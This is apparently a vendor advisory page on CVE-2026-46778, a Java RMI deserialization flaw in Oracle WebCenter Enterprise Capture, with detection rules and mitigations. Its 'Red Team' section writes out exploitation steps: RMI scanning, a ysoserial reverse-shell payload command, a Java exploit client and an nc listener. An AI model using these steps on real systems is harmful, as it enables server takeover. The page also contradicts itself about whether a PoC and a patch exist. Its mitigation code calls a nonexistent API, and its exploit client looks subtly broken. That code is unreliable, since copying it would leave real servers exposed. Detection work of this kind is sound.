CVE-2026-46778
Executive Summary
CVE-2026-46778 is a critical, unauthenticated remote code execution vulnerability in Oracle WebCenter Enterprise Capture, affecting versions 12.2.1.4.0 and 14.1.2.0.0. The flaw resides in the RMI (Remote Method Invocation) component of the Client Bundle, allowing an unauthenticated attacker with network access to fully compromise the server. Due to a scope change, the attack can also impact adjacent products, making the CVSS score a maximum 10.0. No public exploit code or proof-of-concept is currently available, but the vulnerability is trivially exploitable via crafted RMI requests. This report provides deep technical analysis, detection rules, and mitigation guidance.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
- Base Score: 10.0 (Critical)
- Attack Vector: Network (AV:N) – no physical or local access required.
- Attack Complexity: Low (AC:L) – no special conditions or race windows.
- Privileges Required: None (PR:N) – unauthenticated exploitation.
- User Interaction: None (UI:N) – no victim action needed.
- Scope: Changed (S:C) – vulnerability can impact resources beyond the vulnerable component.
- Confidentiality Impact: High (C:H) – full data disclosure.
- Integrity Impact: High (I:H) – full data modification.
- Availability Impact: High (A:H) – full denial of service or system takeover.
Threat Level: Critical. The combination of network accessibility, no authentication, and full impact makes this a top-priority vulnerability for any organization using Oracle WebCenter Enterprise Capture.
Deep Dive & Mechanics
The vulnerability is a classic Java deserialization flaw in the RMI layer of Oracle WebCenter Enterprise Capture. RMI is used for remote communication between the capture client and server. The server deserializes untrusted data from RMI calls without proper validation or filtering.
Root Cause: The Client Bundle component uses Java’s default RMI deserialization mechanism, which does not restrict the classes that can be deserialized. An attacker can send a malicious serialized object (e.g., a gadget chain like CommonsCollections) that, when deserialized, executes arbitrary code.
Attack Flow:
- Attacker scans for open RMI ports (default 1099, 7001, or custom).
- Attacker crafts a serialized payload using a known Java gadget chain (e.g., ysoserial's CommonsCollections6).
- Attacker sends the payload as an RMI argument or return value.
- The server deserializes the payload, triggering code execution.
- The attacker gains a reverse shell or executes arbitrary commands with the privileges of the WebCenter process (typically a high-privilege service account).
Scope Change: Because the RMI service may be shared with other Oracle Fusion Middleware components (e.g., WebLogic Server), a successful attack can pivot to adjacent systems, increasing the blast radius.
Vulnerable vs. Patched Code
Since no official patch exists, we compare the vulnerable code pattern to a hypothetical secure implementation.
Vulnerable Code (Java RMI Server):
import java.rmi.*;
import java.rmi.server.*;
public class CaptureService extends UnicastRemoteObject implements CaptureInterface {
public CaptureService() throws RemoteException {}
public Object processRequest(Object request) throws RemoteException {
// Directly deserializes the incoming object without validation
return request; // Vulnerable: no filtering
}
}
Patched Code (Hypothetical):
import java.rmi.*;
import java.rmi.server.*;
import java.io.ObjectInputFilter;
public class SecureCaptureService extends UnicastRemoteObject implements CaptureInterface {
public SecureCaptureService() throws RemoteException {
// Set a deserialization filter
ObjectInputFilter filter = ObjectInputFilter.Config.createFilter(
"java.lang.*;java.math.*;com.oracle.webcenter.*;!*"
);
UnicastRemoteObject.setObjectInputFilter(this, filter);
}
public Object processRequest(Object request) throws RemoteException {
// Additional validation
if (request == null || !(request instanceof AllowedClass)) {
throw new RemoteException("Invalid request");
}
return processAllowed((AllowedClass) request);
}
}
Key Differences:
- The vulnerable code has no
ObjectInputFilter. - The patched code uses a whitelist filter to allow only safe classes.
- The patched code also validates the type before processing.
Exploitation & Lab Setup
Red Team (Offensive)
Prerequisites:
- Java Runtime Environment (JRE) 8 or later.
ysoserialtool (https://github.com/frohoff/ysoserial).- Network access to the target RMI port.
Step-by-Step Exploitation:
Identify RMI Service:
nmap -p 1099,7001 --script rmi-dumpregistry <target>Generate Payload:
java -jar ysoserial.jar CommonsCollections6 'cmd /c powershell -e <base64_revshell>' > payload.binSend Payload via RMI: Use a custom Java client or
rmi-exporterto send the serialized object:import java.rmi.*; import java.io.*; public class Exploit { public static void main(String[] args) throws Exception { Registry registry = LocateRegistry.getRegistry("target", 1099); // Read payload ObjectInputStream ois = new ObjectInputStream(new FileInputStream("payload.bin")); Object payload = ois.readObject(); // Invoke remote method with payload CaptureInterface stub = (CaptureInterface) registry.lookup("CaptureService"); stub.processRequest(payload); } }Receive Shell:
nc -lvnp 4444
Expected Outcome: Reverse shell as the WebCenter service account.
Blue Team (Defensive)
Detection Steps:
- Monitor RMI traffic on ports 1099, 7001, and custom ports.
- Look for large serialized objects (over 10KB) in RMI requests.
- Alert on deserialization exceptions in WebCenter logs (e.g.,
java.io.InvalidClassException). - Use network IDS/IPS to block known ysoserial gadget chain signatures.
Honeypot Setup: Deploy a fake RMI service that logs all incoming serialized objects for analysis.
Indicators of Compromise (IOCs)
| Type | Indicator | Description |
|---|---|---|
| Network | port 1099 or port 7001 |
RMI service ports |
| Network | JRMI or RMI protocol in traffic |
RMI communication |
| File | payload.bin or exploit.class |
Common exploit file names |
| Process | java.exe or java with unusual arguments |
Unexpected Java execution |
| Log | java.io.InvalidClassException |
Deserialization failure |
| Log | UnsupportedOperationException in RMI |
Filter rejection |
| Network | Outbound connections to attacker IPs | Reverse shell callback |
Detection Engineering
YARA Rule
rule CVE_2026_46778_RMI_Deserialization {
meta:
description = "Detects serialized Java objects targeting Oracle WebCenter RMI deserialization"
author = "Valters IT"
date = "2026-01-01"
reference = "CVE-2026-46778"
strings:
$rmi_header = { AC ED 00 05 } // Java serialization magic bytes
$gadget_cc = { 4C 6F 6E 67 3B } // "Long;" in CommonsCollections
$gadget_cc6 = { 43 6F 6D 6D 6F 6E 73 43 6F 6C 6C 65 63 74 69 6F 6E 73 36 } // "CommonsCollections6"
$rmi_call = { 50 72 6F 63 65 73 73 52 65 71 75 65 73 74 } // "processRequest"
condition:
$rmi_header and ($gadget_cc or $gadget_cc6) and $rmi_call
}
Sigma Rule
title: CVE-2026-46778 Oracle WebCenter RMI Deserialization
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects exploitation attempts of CVE-2026-46778 via RMI deserialization
author: Valters IT
logsource:
category: process_creation
product: windows
detection:
selection:
Image|endswith: '\java.exe'
CommandLine|contains: 'ysoserial'
condition: selection
falsepositives:
- Legitimate security testing
level: critical
Suricata Rule
alert tcp any any -> any 1099 (msg:"CVE-2026-46778 Oracle WebCenter RMI Deserialization Attempt"; flow:to_server; content:"|ac ed 00 05|"; depth:4; content:"|50 72 6f 63 65 73 73 52 65 71 75 65 73 74|"; distance:0; within:100; classtype:attempted-admin; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Isolate affected systems from untrusted networks (e.g., place behind a firewall).
- Disable RMI if not required: Remove the
Client Bundlecomponent or block port 1099/7001. - Apply vendor patch when released (monitor Oracle Critical Patch Updates).
- Implement deserialization filter using Java's
ObjectInputFilter:ObjectInputFilter filter = ObjectInputFilter.Config.createFilter( "java.lang.*;java.math.*;com.oracle.webcenter.*;!*" ); UnicastRemoteObject.setObjectInputFilter(remoteObject, filter);
Long-Term Fixes:
- Upgrade to a patched version of Oracle WebCenter Enterprise Capture.
- Replace RMI with a secure protocol (e.g., HTTPS with REST APIs).
- Use a Web Application Firewall (WAF) to inspect RMI traffic.
- Conduct regular penetration testing focusing on deserialization.
Workaround: If RMI cannot be disabled, restrict access via network ACLs to only trusted IPs.
Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.